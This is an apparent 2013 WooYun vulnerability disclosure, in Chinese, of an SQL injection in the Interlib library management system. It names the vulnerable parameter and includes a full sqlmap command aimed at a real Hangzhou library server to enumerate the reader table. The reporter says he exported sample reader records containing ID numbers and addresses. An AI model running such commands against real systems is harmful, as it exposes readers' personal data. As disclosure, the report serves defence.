漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-020127
漏洞标题：Interlib图书馆集群管理系统存在注射漏洞，百万读者信息泄露
相关厂商：广州图创计算机软件开发有限公司
漏洞作者： ghy459
提交时间：2013-03-16 11:08
修复时间：2013-04-30 11:09
公开时间：2013-04-30 11:09
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-03-16： 细节已通知厂商并且等待厂商处理中
2013-03-19： 厂商已经确认，细节仅向厂商公开
2013-03-29： 细节向核心白帽子及相关领域专家公开
2013-04-08： 细节向普通白帽子公开
2013-04-18： 细节向实习白帽子公开
2013-04-30： 细节向公众公开
简要描述：
Interlib图书馆集群管理系统页面存在SQL注入漏洞，构造语句可获得系统内所有读者详细信息（姓名，身份证，地址，电话等）。一个挺老的图书馆系统，不过还有不少图书馆使用中。
详细说明：
Interlib图书馆集群管理系统采用的是JSP+Oracle数据库设计，默认以DBA权限运行，库名默认为INTERLIB，读者信息存放在READER表中。
在图创软件公司网站的用户案例（http://www.interlib.com.cn/tcsoft/web/information.do?actionCmd=childList&pid=9&id=57&isChild=0）中，有不少城市图书馆采用了INTERLIB这套系统。所以这个漏洞影响巨大，泄露的个人信息已百万计，下面会进行证明。
在图书详细介绍页面里，以广州图书馆为例：http://210.72.4.33/interlib/websearch/bookSearch?cmdACT=detailmarc&xsl=listdetailmarc.xsl&bookrecno=243630
bookrecno存在参数过滤不严问题，导致注入发生。
漏洞证明：
上面已经提到库名默认为INTERLIB，读者信息存放在READER表中。用sqlmap直捣黄龙
sqlmap.py -u "http://my1.hzlib.net/lib2/websearch/bookSearch?cmdACT=detailmarc&xsl=listdetailmarc.xsl&bookrecno=243630" -p bookrecno -D INTERLIB -T READER --count
可以看到杭州图书馆的读者记录有108w条
随机抽取了10条信息进行导出
再尝试另外的图书馆，苏州图书馆数量是80w左右（http://reader.szlib.com/opac/websearch/bookSearch?cmdACT=detailmarc&xsl=listdetailmarc.xsl&bookrecno=243630）
其它就不多试了，就这两个加起来都快200w了。不过这系统出来好久了，目测有心人该干的都干了吧。
修复方案：
加个防注入就好
版权声明：转载请注明来源 ghy459@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：20
确认时间：2013-03-19 21:35
厂商回复：
CNVD确认并复现所述情况，并已根据所述情况提取网络检测特征，已在19日联系上软件生产厂商。按照CNVD处置流程，根据处置配合情况进行后续操作，如：发布行业通报。
按完全影响机密性进行评分，rank=7.79*1.1*2.0=17.138
鼓励应用软件漏洞的挖掘，考虑到信息泄露的危害，rank 加满吧。
最新状态：
暂无